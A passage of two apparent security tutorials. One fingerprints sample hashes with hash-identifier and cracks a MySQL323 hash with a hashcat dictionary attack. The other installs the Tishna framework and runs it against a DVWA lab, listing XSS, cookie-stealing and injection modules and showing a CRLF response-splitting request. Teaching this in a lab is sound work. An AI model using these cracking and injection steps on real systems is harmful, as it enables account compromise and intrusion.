\_\ \_\ /\_____\ \ \____/ # # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 # # By Zion3R # # www.Blackploit.com # # Root@Blackploit.com # ######################################################################### -------------------------------------------------- HASH:Step 2: Fingerprint Unknown HashesTo try out hash-identifier, we'll be looking at trying to fingerprint the following five unknown hashes.Hash 1: 7196759210defdc0 Hash 2: 1bbb234c81ef04a1c2f441253952a556276669d7fc9d1ee765bd4b18f796699d (256) Hash 3: 32c0ced56f1fe08583bdb079d85a35a81995018c (1) Hash 4: 753b27807b690ef889a259f3b219e024bf5c6c33c8d56116943d9285a0b55b2050981f29e6fafa660428c48d7db3c4bd2e8dd48f87c8e90bde5e0c82ed23be10 (512) Hash 5: 5f804b61f8dcf70044ad8c1385e946a8 (md5)To get started, let's enter the first into the waiting hash-identifier command prompt. As you can see, it yields a quick ID as a MySQL hash. This is the one we'll try to crack, so we'll return to it later.HASH: 7196759210defdc0 Possible Hashs: [+] MySQL [+] MD5(Middle) Least Possible Hashs: [+] MD5(Half)Our second hash, seen below, is identified as a SHA256 hash, with Haval256 being another possibility.HASH: 1bbb234c81ef04a1c2f441253952a556276669d7fc9d1ee765bd4b18f796699d Possible Hashs: [+] SHA-256 [+] Haval-256 Least Possible Hashs: [+] GOST R 34.11-94 [+] RipeMD-256 [+] SNEFRU-256 [+] SHA-256(HMAC) [+] Haval-256(HMAC) [+] RipeMD-256(HMAC) [+] SNEFRU-256(HMAC) [+] SHA-256(md5($pass)) [+] SHA-256(sha1($pass))Our third hash is identified as SHA1:HASH: 32c0ced56f1fe08583bdb079d85a35a81995018c Possible Hashs: [+] SHA-1 [+] MySQL5 - SHA-1(SHA-1($pass)) Least Possible Hashs: [+] Tiger-160 [+] Haval-160 [+] RipeMD-160 [+] SHA-1(HMAC) [+] Tiger-160(HMAC) [+] RipeMD-160(HMAC) [+] Haval-160(HMAC) [+] SHA-1(MaNGOS) [+] SHA-1(MaNGOS2) [+] sha1($pass.$salt) [+] sha1($salt.$pass) [+] sha1($salt.md5($pass)) [+] sha1($salt.md5($pass).$salt) [+] sha1($salt.sha1($pass)) [+] sha1($salt.sha1($salt.sha1($pass))) [+] sha1($username.$pass) [+] sha1($username.$pass.$salt) [+] sha1(md5($pass)) [+] sha1(md5($pass).$salt) [+] sha1(md5(sha1($pass))) [+] sha1(sha1($pass)) [+] sha1(sha1($pass).$salt) [+] sha1(sha1($pass).substr($pass,0,3)) [+] sha1(sha1($salt.$pass)) [+] sha1(sha1(sha1($pass))) [+] sha1(strtolower($username).$pass)And our fourth hash is identified as SHA512:HASH: 753b27807b690ef889a259f3b219e024bf5c6c33c8d56116943d9285a0b55b2050981f29e6fafa660428c48d7db3c4bd2e8dd48f87c8e90bde5e0c82ed23be10 Possible Hashs: [+] SHA-512 [+] Whirlpool Least Possible Hashs: [+] SHA-512(HMAC) [+] Whirlpool(HMAC)Finally, our last hash is identified as MD5:HASH: 5f804b61f8dcf70044ad8c1385e946a8 Possible Hashs: [+] MD5 [+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username))) Least Possible Hashs: [+] RAdmin v2.x [+] NTLM [+] MD4 [+] MD2 [+] MD5(HMAC) [+] MD4(HMAC) [+] MD2(HMAC) [+] MD5(HMAC(Wordpress)) [+] Haval-128 [+] Haval-128(HMAC) [+] RipeMD-128 [+] RipeMD-128(HMAC) [+] SNEFRU-128 [+] SNEFRU-128(HMAC) [+] Tiger-128 [+] Tiger-128(HMAC) [+] md5($pass.$salt) [+] md5($salt.$pass) [+] md5($salt.$pass.$salt) [+] md5($salt.$pass.$username) [+] md5($salt.md5($pass)) [+] md5($salt.md5($pass)) [+] md5($salt.md5($pass.$salt)) [+] md5($salt.md5($pass.$salt)) [+] md5($salt.md5($salt.$pass)) [+] md5($salt.md5(md5($pass).$salt)) [+] md5($username.0.$pass) [+] md5($username.LF.$pass) [+] md5($username.md5($pass).$salt) [+] md5(md5($pass)) [+] md5(md5($pass).$salt) [+] md5(md5($pass).md5($salt)) [+] md5(md5($salt).$pass) [+] md5(md5($salt).md5($pass)) [+] md5(md5($username.$pass).$salt) [+] md5(md5(md5($pass))) [+] md5(md5(md5(md5($pass)))) [+] md5(md5(md5(md5(md5($pass))))) [+] md5(sha1($pass)) [+] md5(sha1(md5($pass))) [+] md5(sha1(md5(sha1($pass)))) [+] md5(strtoupper(md5($pass)))That was easy, but the next step is actually attacking these hashes by converting the identified hash type into a Hashcat mode number.Step 3: Look Up Hashcat Hash ModesTo look up a hash mode, we can take a look at the exhaustive list of Hashcat supported hash typeson the Hashcat examples page. An abbreviated list of some of the most popular hashes is below.Don't Miss:Crack Shadow Hashes After Getting Root on a Linux SystemHash-Mode Hash-Name Example 0 MD5 8743b52063cd84097a65d1633f5c74f5 10 md5($pass.$salt) 01dfae6e5d4d90d9892622325959afbe:7050461 20 md5($salt.$pass) f0fda58630310a6dd91a7d8f0a4ceda2:4225637426 30 md5(utf16le($pass).$salt) b31d032cfdcf47a399990a71e43c5d2a:144816 40 md5($salt.utf16le($pass)) d63d0e21fdc05f618d55ef306c54af82:13288442151473 50 HMAC-MD5 (key = $pass) fc741db0a2968c39d9c2a5cc75b05370:1234 60 HMAC-MD5 (key = $salt) bfd280436f45fa38eaacac3b00518f29:1234 100 SHA1 b89eaac7e61417341b710b727768294d0e6a277b 110 sha1($pass.$salt) 2fc5a684737ce1bf7b3b239df432416e0dd07357:2014 120 sha1($salt.$pass) cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024 130 sha1(utf16le($pass).$salt) c57f6ac1b71f45a07dbd91a59fa47c23abcd87c2:631225 140 sha1($salt.utf16le($pass)) 5db61e4cd8776c7969cfd62456da639a4c87683a:8763434884872 150 HMAC-SHA1 (key = $pass) c898896f3f70f61bc3fb19bef222aa860e5ea717:1234 160 HMAC-SHA1 (key = $salt) d89c92b4400b15c39e462a8caa939ab40c3aeeea:1234 200 MySQL323 1EAFFED54F552AA5 300 MySQL4.1/MySQL5 fcf7c1b8749cf99d88e5f34271d636178fb5d130Above, we can see two examples that might be a match for our first hash (7196759210defdc0) from the previous step. At a glance, the mode 200 "MySQL323" seems like the best match, but we can confirm it by running the example hash through hash-identifier.HASH: 1EAFFED54F552AA5 Possible Hashs: [+] MySQL [+] MD5(Middle) Least Possible Hashs: [+] MD5(Half)It's an exact match to our sample hash:HASH: 7196759210defdc0 Possible Hashs: [+] MySQL [+] MD5(Middle) Least Possible Hashs: [+] MD5(Half)If we run the other possibly-matching MySQL hash type, mode 300, we can see it doesn't match the fingerprint of our unknown sample.HASH: fcf7c1b8749cf99d88e5f34271d636178fb5d130 Possible Hashs: [+] SHA-1 [+] MySQL5 - SHA-1(SHA-1($pass)) Least Possible Hashs: [+] Tiger-160 [+] Haval-160 [+] RipeMD-160 [+] SHA-1(HMAC) [+] Tiger-160(HMAC) [+] RipeMD-160(HMAC) [+] Haval-160(HMAC) [+] SHA-1(MaNGOS) [+] SHA-1(MaNGOS2) [+] sha1($pass.$salt) [+] sha1($salt.$pass) [+] sha1($salt.md5($pass)) [+] sha1($salt.md5($pass).$salt) [+] sha1($salt.sha1($pass)) [+] sha1($salt.sha1($salt.sha1($pass))) [+] sha1($username.$pass) [+] sha1($username.$pass.$salt) [+] sha1(md5($pass)) [+] sha1(md5($pass).$salt) [+] sha1(md5(sha1($pass))) [+] sha1(sha1($pass)) [+] sha1(sha1($pass).$salt) [+] sha1(sha1($pass).substr($pass,0,3)) [+] sha1(sha1($salt.$pass)) [+] sha1(sha1(sha1($pass))) [+] sha1(strtolower($username).$pass)That proves that we've identified the correct Hashcat mode number,200, to use in our Hashcat attack.Step 4: Attack the Hash with HashcatOnce we know the mode to use by identifying the hash, we can attack it using Hashcat. For it to work, we'll need to create a dictionary file with passwords on it, which Hashcat will then use to attack the hash. There are many available lists online like RockYou but, in this case, we'll be creating one called example.dict to put some password guesses in.If you're still in the hash-identifier tool, hitControl-Con your keyboard first. Then, create and open a file in nano by typing the following.~/hash-identifier$ nano example.dictAfter adding some password guesses that include the word "hashcat" for this example, hitControl-Xto exit, thenY, and confirm the filename. We can now use this file as our list of plaintext guesses, along with the mode we discovered, to crack the hash. The basic formula we will use will look like this:sudo hashcat -m MODE_NUMBER -a 0 HASH_VALUE example.dictWhen we run it with our hash of7196759210defdc0(the "HASH_VALUE") with our mode of200(the "MODE_NUMBER"), the results should look like below. If you have an older system like the example one I'm using, you may need to use the--forcecommand with it.~/hash-identifier$ sudo hashcat -m 200 -a 0 7196759210defdc0 example.dict --force hashcat (v5.1.0) starting... OpenCL Platform #1: The pocl project ==================================== * Device #1: pthread-Intel(R) Core(TM)2 Duo CPU E7500 @ 2.93GHz, 1024/3639 MB allocatable, 2MCU /usr/share/hashcat/OpenCL/m00200_a0-optimized.cl: Pure OpenCL kernel not found, falling back to optimized OpenCL kernel Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Applicable optimizers: * Optimized-Kernel * Zero-Byte * Not-Iterated * Single-Hash * Single-Salt Password length minimum: 0 Password length maximum: 31 Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled. Watchdog: Temperature retain trigger disabled. * Device #1: build_opts '-I /usr/share/hashcat/OpenCL -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=4 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=200 -D _unroll' * Device #1: Kernel m00200_a0-optimized.44d10a8c.kernel not found in cache! Building may take a while... Dictionary cache hit: * Filename..: example.dict * Passwords.: 17 * Bytes.....: 76 * Keyspace..: 17 - Device #1: autotuned kernel-accel to 1024 - Device #1: autotuned kernel-loops to 1 [s]tatus [p]ause [r]esume [b]ypass [c]heckpoint [q]uit => The wordlist or mask that you are using is too small. This means that hashcat cannot use the full parallel power of your device(s). Unless you supply more work, your cracking speed will drop. For tips on supplying more work, see: https://hashcat.net/faq/morework Approaching final keyspace - workload adjusted. 7196759210defdc0:hashcat Session..........: hashcat Status...........: Cracked Hash.Type........: MySQL323 Hash.Target......: 7196759210defdc0 Time.Started.....: Mon Dec 9 17:00:25 2019 (0 secs) Time.Estimated...: Mon Dec 9 17:00:25 2019 (0 secs) Guess.Base.......: File (example.dict) Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 0 H/s (0.03ms) Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 17/17 (100.00%) Rejected.........: 0/17 (0.00%) Restore.Point....: 0/17 (0.00%) Candidates.#1....: wow -> again HWMon.Dev.#1.....: N/A Started: Mon Dec 9 17:00:17 2019 Stopped: Mon Dec 9 17:00:27 2019There we go! We get the output of7196759210defdc0:hashcat, meaning we found the value of the MySQL323 hash to be the word "hashcat" by comparing it through all the words in the example.dict file.Hash-Identifier Makes Fingerprinting Hashes EasyWhenever you're dealing with an unknown type of hash, the first step to making it useful is identifying it correctly. While hash-identifier isn't a perfect tool, it's an easy way of spotting most hashes and distinguishing between several types of common and similar-looking hashes that have a different mode in Hashcat. Even if hash-identifier isn't sure what kind of hash you're dealing with, comparing the response of example hashes from the Hashcat website can help you verify that you've found the right hash.I hope you enjoyed this guide to fingerprinting unknown hashes! If you have any questions about this tutorial on hash cracking and identification or you have a comment, ask below or feel free to reach me on Twitter@KodyKinzie.Don't Miss:Detect When a Device Is Nearby with the ESP8266 Friend DetectorWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by Kody/Null ByteRelatedHack Like a Pro:How to Crack Passwords, Part 3 (Using Hashcat)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)How To:Crack Shadow Hashes After Getting Root on a Linux SystemHow To:Crack MD5 Hashes with All of Kali Linux's Default WordlistsHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow To:Use John the Ripper in Metasploit to Quickly Crack Windows HashesHow To:Crack Password-Protected Microsoft Office Files, Including Word Docs & Excel SpreadsheetsHow To:Use Beginner Python to Build a Brute-Force Tool for SHA-1 HashesHow To:Perform a Pass-the-Hash Attack & Get System Access on WindowsHack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsLocking Down Linux:Harden Sudo Passwords to Defend Against Hashcat AttacksHow To:Creating Unique and Safe Passwords, Part 1 Using WordlistsHacking Windows 10:How to Intercept & Decrypt Windows Passwords on a Local NetworkHow To:Hack 200 Online User Accounts in Less Than 2 Hours (From Sites Like Twitter, Reddit & Microsoft)Hack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)Hack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)Hacking macOS:How to Hack a Mac Password Without Changing ItNews:'Beast' Cracks Billions of Passwords in SecondsHow To:C++ Hash CrackerHack Like a Pro:How to Crack User Passwords in a Linux SystemHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHow To:Hack MD5 passwords with Cain and AbelHow To:How Hackers Take Your Encrypted Passwords & Crack ThemRainbow Tables:How to Create & Use Them to Crack PasswordsHow To:GPU Accelerate Cracking Passwords with HashcatHow To:Hack Mac OS X Lion PasswordsHow To:Make an Unbreakable Linux Password Using a SHA-2 Hash AlgorithmHow To:Mine Bitcoin and Make MoneyNews:Advanced Cracking Techniques, Part 1: Custom DictionariesNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsHow To:Recover a Windows Password with OphcrackGoodnight Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsHow To:Remove a Windows Password with a Linux Live CDMastering Security, Part 1:How to Manage and Create Strong Passwords
How to Audit Web Applications & Servers with Tishna « Null Byte :: WonderHowTo
Penetration-testing frameworks can be incredibly useful since they often streamline certain processes and save time by having a lot of tools available in one place. Of course, the most popular pentesting framework is undoubtedlyMetasploit, but there are many others out there that cater to particular needs. For auditing web applications and servers, Tishna comes in handy.TheTishnapentesting framework is designed to automate some of the processes involved in auditingweb appsandweb servers. The tool is useful for administrators and IT professionals in that it can audit critical applications, like those used in banks and other enterprise environments. It's also beneficial from an attacker's point of view since it can scan andenumerate a variety of servicesand check for specific vulnerabilities.Don't Miss:Scan Sites for Vulnerabilities Using an Android Without RootTishna offers a self-contained framework that utilizes a variety of modules and scripts to perform its functions. It's false-positive-free, so if it finds something, it'll show the results regardless. If it doesn't find anything, it will return blank results rather than errors. Tishna can be integrated and installed to the system and has been tested on popular pentesting Linux distros such asKali,Parrot OS, andBlackArch.Installing TishnaIn this tutorial, we'll be usingDVWA, part of theMetasploitable 2virtual machine, as the target, andKali Linuxas our local machine. To follow along, you can do the same, but you can also use a similar setup if you have another pentesting lab.To get started, we can clone into the GitHub repository so that we can install Tishna to our system. Use thegitcommand:~# git clone https://github.com/haroonawanofficial/Tishna.git Cloning into 'Tishna'... remote: Enumerating objects: 17, done. remote: Counting objects: 100% (17/17), done. remote: Compressing objects: 100% (17/17), done. remote: Total 571 (delta 7), reused 0 (delta 0), pack-reused 554 Receiving objects: 100% (571/571), 191.52 KiB | 1.23 MiB/s, done. Resolving deltas: 100% (276/276), done.Next,change intothe newly created directory:~# cd Tishna/And uselsto verify the contents of the repo:~/Tishna# ls 2fa.sh bufferlocal.pl crawler.py httpsmethods1.sh kra.sh phantomxsspayloads rfi.pl tishna.pl xpath.sh amazon.sh bypassdnshistory.sh crawler.sh httpsmethods2.sh lfi.sh phantomxsspayload.sh rfi.sh tpl.sh xsrfprobe.sh angularjs1.sh bypassdnshistorystart.sh crlfpayloads httpverb.sh load postcurl.sh session.sh Uninstaller.sh xsslint angularjs.sh cachepoison curl_sender ip2bin.sh mutatedxsspayloads README.md shellshock.sh vasl.sh xss.sh angularxsspayloads check.pl curl.sh ip2decimal.pl oauth.sh reflectedxsspayloads shocker.sh wafbypasspayloads xss_to_csrf_token_hijack banar.sh commix.sh cvsinjection ip2hex.pl optionsbleed request ssrfmap.sh websocket.sh XXEinjector.rb binary.sh config.xml fux.sh json.sh optionsbleed.sh request1 ssrf-see-surf.sh xmlrpc2.sh xxeinjector.sh browsercachechecker cookiestealer.sh htmlmethod Kali_Installer.sh oxml_xxe.sh reverip.pl storedxsspayloads xmlrpc.sh xxe_payloads_curlTo run the installation script, and to make the other scripts Tishna uses functional, we need to make anything ending in.shexecutable. Use thechmodcommand along with a wildcard to make these scripts executable:~/Tishna# chmod u+x *.shNow, we can run the script to install Tishna to the system:~/Tishna# ./Kali_Installer.sh ....###########...########....######....##...##....##.......##....########.... .......##...........##.......##..##....##...##....##.#.....##....##....##....... ...##...........##.......##........##...##....##..#....##....##....##... ..##...........##.......######....#######....##...##..##....########.. ...##...........##...........##....##...##....##.....#.##....##....##... .......##...........##.......##..##....##...##....##......###....##....##....... ....##........########....######....##...##....##.......##....##....##.... Powerful and A.I. Based Web Security Swiss Knife Version 1.0a [Coded By: Haroon Awan] [Contact: mrharoonawan@gmail.com] [+] tishna Will Be Installed In Your System [+] Installing Perl ... Reading package lists... Done Building dependency tree Reading state information... Done perl is already the newest version (5.30.0-9). 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. [+] Installing JSON Module ... Loading internal logger. Log::Log4perl recommended for better logging CPAN.pm requires configuration, but most of it can be done automatically. If you answer 'no' below, you will enter an interactive dialog for each configuration option instead. Would you like to configure as much as possible automatically? [yes]This part will take some time as it'll install a bunch of stuff and take care of anydependenciesthat are needed. When it's done, it'll drop us right into the framework:::::::::::::::: .::::::. :: .: :::. :::. :::. ;;;;;;;;'''';;;;;;` ` ,;; ;;,`;;;;, `;;; ;;`;; [[ [[['[==/[[[[,,[[[,,,[[[ [[[[[. '[[ ,[[ '[[, $$ $$$ ''' $"$$$"""$$$ $$$ "Y$c$$c$$$cc$$$c 88, 888 88b dP 888 "88o 888 Y88 888 888, MMM MMM "YMmMY" MMM YMM MMM YM YMM ""` Mail mrharoonawan@gmail.com Homepage https://www.instagram.com/Hackeruniversee Channel https://www.youtube.com/c/HackerUniverse Facebook fb.com/officialharoonawan Instagram https://www.instagram.com/hackerfromscratch [Artificial Intelligence Based Web Security Swiss Knife] Programmer: Haroon Awan #-------------------------------------------------------# # # | [1] Audit HTTP Methods | | [2] Extract Response Header | | [3] Extract Images | | [4] Extract URLS | | [5] Identify Form | | [6] Find XSS in Forms Advanced Attack | | [7] Find XSS in Forms Simple Attack | | [8] Web Server Mount Response Splitting Attack | | [9] Header Inject Poison | | [10] Cache Poison Defacer | | [11] CRLF Response Splitting Attack & Fuzzer | | [12] HTTP Response Smuggling Fuzzing | | [13] Web Cache Deception Attack Check | | [14] HTTP Methods Information | | [15] Custom CSRF Injection Request | | [16] Load CSRF HTML Templates | | [17] Shell Shock | | [18] Cross Site Request Forgery Audit Toolkit | | [19] Find Available HTTP Methods | | [20] Find XSS in Parameters using Screaming Cobra | | [21] Find Missing HTTPS Methods | | [22] Server Side Request Forgery | | [23] Find Available HTTPS Methods | | [24] Audit XML RPC Methods, Extract All Information| | [25] Cookie Stealer XSS Localhost Server | | [26] Command Inections Exploits | | [27] Show JSON Endpoint List | | [28] Perform Blind,Encoded,Responsive XXE Injection| | [29] Perform File Upload Injections | | [30] Perform Side Side Template Injection | | [31] Perform JSON Web Token Injection | | [32] Perform Web Socket Injection | | [33] Perform Amazon Bucket Injection 101 aws amazon| | [34] Extract Cnames Records for Hijacking | | [35] Insecure Direct Object Reference - BURP | | [36] Perform CSV Injection | | [37] Perform XPATH Injection | | [38] Find SQL,XPATH,ASP,X,JAVA,JAVASCRIPT,PHP bugs | | [39] Find XPath and SQL Parameter Injection | | [40] Show TWO-Factor Authenitcation Payloads | | [41] Mutated XSS payloads | | [42] Stored XSS payloads | | [43] Reflected XSS payloads | | [44] Waf Bypass payloads | | [45] Find XSS Using Response Spliting | | [46] Extract Links - Advanced | | [47] Download Images - Exif Data | | [48] Simple Response Splitting Attack | | [49] Double Response Splitting Attack | | [50] HTTP Cache Poison Attack | | [51] HTTP Cache Inject Poison | | [52] HTTP Fuzzer | | [53] IP Obfuscating | | [54] RFI | | [55] LFI | | [56] Binary Buffer Overflow Finder | | [57] Stored and Reflected XSS Angular JS Payloads | | [58] Phantom JS XSS Payload Helper | | [59] Agular JS Client Side Automatic XSS Finder | | [60] Session Hijacking Burp Method | | [61] OAUTH Injections | | [62] Bypass Firewall using DNS History | | [0] Exit | # # #-------------------------------------------------------# tishna: _>This gives us a custom command prompt and all the modules that are available.Using TishnaFirst, open DVWA and log in using the default credentials (admin/password). Next, go to the security page and set the level tolow, which will ensure our testing works with minimal interruptions:To use Tishna, simply enter the corresponding number of the module to use at the prompt. For instance, to run the module to auditHTTP methods, enter1at the prompt:tishna: _> 1Instructions will be provided on the screen and will vary depending on the module in use. For this particular one, we just need to enter the URL of the target:tishna: _> http://10.10.0.50/dvwa/ [ + ] Printing HTTP Headers [ + ] Cache-Control: no-cache, must-revalidate Connection: close Date: Wed, 19 Jun 2019 18:13:56 GMT Pragma: no-cache Server: Apache/2.2.8 (Ubuntu) DAV/2 Content-Type: text/html;charset=utf-8 Expires: Tue, 23 Jun 2009 12:00:00 GMT Client-Date: Fri, 10 May 2020 15:33:44 GMT Client-Peer: 10.10.0.50:80 Client-Response-Num: 1 Client-Transfer-Encoding: chunked Link: <dvwa/css/login.css>; rel="stylesheet"; type="text/css" Title: Damn Vulnerable Web App (DVWA) - Login X-Powered-By: PHP/5.2.4-2ubuntu5.24 [!] Press [ENTER] To ContinueThis will print some header information, including the type of server and information about what's running on it. Now, let's try another one. Enter2at the prompt to run the module to extract the response header:tishna: _> 2Just like before, enter the URL of the target to kick it off:tishna: _> http://10.10.0.50/dvwa/ [ + ] Checking OPTIONS method [ + ] =================================== HTTP/1.1 302 Found Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Connection: close Date: Wed, 19 Jun 2019 18:16:36 GMT Pragma: no-cache Location: login.php Server: Apache/2.2.8 (Ubuntu) DAV/2 Content-Length: 0 Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Client-Date: Fri, 10 May 2020 15:36:24 GMT Client-Peer: 10.10.0.50:80 Client-Response-Num: 1 Set-Cookie: PHPSESSID=29f47a2a8851dfd1314e941dd79da97d; path=/ Set-Cookie: security=high X-Powered-By: PHP/5.2.4-2ubuntu5.24 [ + ] Checking PUT method [ + ] =================================== PUT http://10.10.0.50/dvwa/ Content-Length: 11 Content-Type: application/x-www-form-urlencoded param=hello HTTP/1.1 302 Found Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Connection: close Date: Wed, 19 Jun 2019 18:16:36 GMT Pragma: no-cache Location: login.php Server: Apache/2.2.8 (Ubuntu) DAV/2 Content-Length: 0 Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Client-Peer: 10.10.0.50:80 Client-Response-Num: 1 Set-Cookie: PHPSESSID=29f47a2a8851dfd1314e941dd79da97d; path=/ Set-Cookie: security=high X-Powered-By: PHP/5.2.4-2ubuntu5.24 [ + ] Checking HEAD method [ + ] =================================== HTTP/1.1 200 OK Cache-Control: no-cache, must-revalidate Connection: close Date: Wed, 19 Jun 2019 18:16:36 GMT Pragma: no-cache Server: Apache/2.2.8 (Ubuntu) DAV/2 Content-Type: text/html;charset=utf-8 Expires: Tue, 23 Jun 2009 12:00:00 GMT Client-Date: Fri, 10 May 2020 15:36:24 GMT Client-Peer: 10.10.0.50:80 Client-Response-Num: 1 Set-Cookie: PHPSESSID=fd6853278e8d9b9784a0a8ea6ef89103; path=/ Set-Cookie: security=high X-Powered-By: PHP/5.2.4-2ubuntu5.24 [ + ] Checking TRACE method [ + ] =================================== HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jun 2019 18:16:37 GMT Server: Apache/2.2.8 (Ubuntu) DAV/2 Content-Type: message/http Client-Date: Fri, 10 May 2020 15:36:25 GMT Client-Peer: 10.10.0.50:80 Client-Response-Num: 1 Client-Transfer-Encoding: chunked TRACE /dvwa/ HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close Host: 10.10.0.50 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20130401 Firefox/31.0. [ + ] Checking JEFF method [ + ] =================================== HTTP/1.1 302 Found Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Connection: close Date: Wed, 19 Jun 2019 18:16:37 GMT Pragma: no-cache Location: login.php Server: Apache/2.2.8 (Ubuntu) DAV/2 Content-Length: 0 Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Client-Date: Fri, 10 May 2020 15:36:25 GMT Client-Peer: 10.10.0.50:80 Client-Response-Num: 1 Set-Cookie: PHPSESSID=623bdf1d787a475f8a9fe99f56b25f30; path=/ Set-Cookie: security=high X-Powered-By: PHP/5.2.4-2ubuntu5.24 [ + ] Checking FOOBAR method [ + ] =================================== HTTP/1.1 302 Found Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Connection: close Date: Wed, 19 Jun 2019 18:16:37 GMT Pragma: no-cache Location: login.php Server: Apache/2.2.8 (Ubuntu) DAV/2 Content-Length: 0 Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Client-Date: Fri, 10 May 2020 15:36:25 GMT Client-Peer: 10.10.0.50:80 Client-Response-Num: 1 Set-Cookie: PHPSESSID=c1bac7258c1b241ce2a3b2494eb5371f; path=/ Set-Cookie: security=high X-Powered-By: PHP/5.2.4-2ubuntu5.24 HTTP/1.1 302 Found Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Connection: close Date: Wed, 19 Jun 2019 18:16:37 GMT Pragma: no-cache Location: login.php Server: Apache/2.2.8 (Ubuntu) DAV/2 Content-Length: 0 Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Client-Date: Fri, 10 May 2020 15:36:25 GMT Client-Peer: 10.10.0.50:80 Client-Response-Num: 1 Set-Cookie: PHPSESSID=c1bac7258c1b241ce2a3b2494eb5371f; path=/ Set-Cookie: security=high X-Powered-By: PHP/5.2.4-2ubuntu5.24 [ + ] Checking CATS method [ + ] =================================== HTTP/1.1 302 Found Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Connection: close Date: Wed, 19 Jun 2019 18:16:37 GMT Pragma: no-cache Location: login.php Server: Apache/2.2.8 (Ubuntu) DAV/2 Content-Length: 0 Content-Type: text/html Expires: Thu, 19 Nov 1981 08:52:00 GMT Client-Date: Fri, 10 May 2020 15:36:25 GMT Client-Peer: 10.10.0.50:80 Client-Response-Num: 1 Set-Cookie: PHPSESSID=340011352237a83e1751bd10c2e3f2c3; path=/ Set-Cookie: security=high X-Powered-By: PHP/5.2.4-2ubuntu5.24We can see the different response header information returned to us. We can attempt to extract any images being served with module3— enter it at the prompt:tishna: _> 3Once we give it the URL, it will search for any images and save them in the directory we cloned from GitHub:tishna: _> http://10.10.0.50/dvwa/ dvwa/images/login_logo.pngAnother handy module is theweb crawlerthat can be used to extract any additional URLs. Enter4at the prompt:tishna: _> 4Next, select a crawler to use — we'll use option1, the default Perl crawler:tishna: _> [!] 1 - Enter Perl Crawler Mode [!] 2 - Enter Python Crawler Mode [!] Select An Option:Then, enter the target URL and it will attempt tolocate other directories:tishna: _> [!] 1 - Enter Perl Crawler Mode [!] 2 - Enter Python Crawler Mode [!] Select An Option: 1 [!] Enter Victim URL: http://10.10.0.50 /twiki/ /phpMyAdmin/ /mutillidae/ /dvwa/ /dav/We can attempt to fuzz for HTTP response smuggling, which is basically a technique used to trick a server into exporting HTTP responses to a client via HTTP. Enter12at the prompt to use this module:tishna: _> 12Enter the URL of the target and it will begin fuzzing:tishna: _> [!] Caution: Note that HTTP Smuggling does *not* exploit any vulnerability in the target web application. Therefore, it can be difficult to convince the client for countermeasures [!] Enter URL: http://10.10.0.50/dvwa/ HTTP/1.1 404 Not Found Connection: close Date: Wed, 19 Jun 2019 18:35:39 GMT Server: Apache/2.2.8 (Ubuntu) DAV/2 Content-Length: 335 Content-Type: text/html; charset=iso-8859-1 Client-Date: Fri, 10 May 2020 15:55:27 GMT Client-Peer: 10.10.0.50:80 Client-Response-Num: 1 Title: 404 Not Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /dvwa/ Set-Cookie: HTTP_response_splitting=YES Foo: bar was not found on this server.</p> <hr> <address>Apache/2.2.8 (Ubuntu) DAV/2 Server at 10.10.0.50 Port 80</address> </body></html> [!] Requested Data GET http://10.10.0.50/dvwa/%0d%0aSet-Cookie:%20HTTP_response_splitting%3dYES%0d%0aFoo:%20bar User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20130401 Firefox/31.0. HTTP/1.1 404 Not Found Connection: close Date: Wed, 19 Jun 2019 18:35:39 GMT Server: Apache/2.2.8 (Ubuntu) DAV/2 Content-Length: 333 Content-Type: text/html; charset=iso-8859-1 Client-Date: Fri, 10 May 2020 15:55:27 GMT Client-Peer: 10.10.0.50:80 Client-Response-Num: 1 Title: 404 Not Found 